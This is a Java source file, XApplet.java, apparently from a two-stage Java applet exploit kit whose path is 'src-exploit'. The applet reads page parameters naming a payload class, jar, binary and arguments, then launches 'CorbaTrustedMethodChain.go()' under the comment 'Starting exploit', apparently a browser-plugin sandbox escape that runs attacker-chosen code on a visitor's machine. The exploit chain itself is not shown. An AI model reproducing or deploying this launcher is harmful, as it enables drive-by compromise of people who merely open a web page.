twostage/src-exploit/x/XApplet.java
package x;
import java.util.ArrayList;
import javax.swing.JApplet;
public class XApplet extends JApplet {
private static final long serialVersionUID = 4268202609884012044L;
@Override
public void init() {
// Parsing arguments.
EP.pClass = getParameter("pClass");
EP.pJar = getParameter("pJar");
EP.pBin = getParameter("pBin");
int argCount = 1;
String arg;
ArrayList<String> args = new ArrayList<String>();
while( (arg=getParameter("pArg"+argCount++)) != null ) {
args.add(arg);
}
EP.pArgs = new String[args.size()];
args.toArray(EP.pArgs);
EP.docBase = this.getDocumentBase().toString();
//System.out.println("Hello "+EP.docBase);
// Starting exploit
try {
CorbaTrustedMethodChain.go();
} catch (Exception e) {
e.printStackTrace();
}
}
}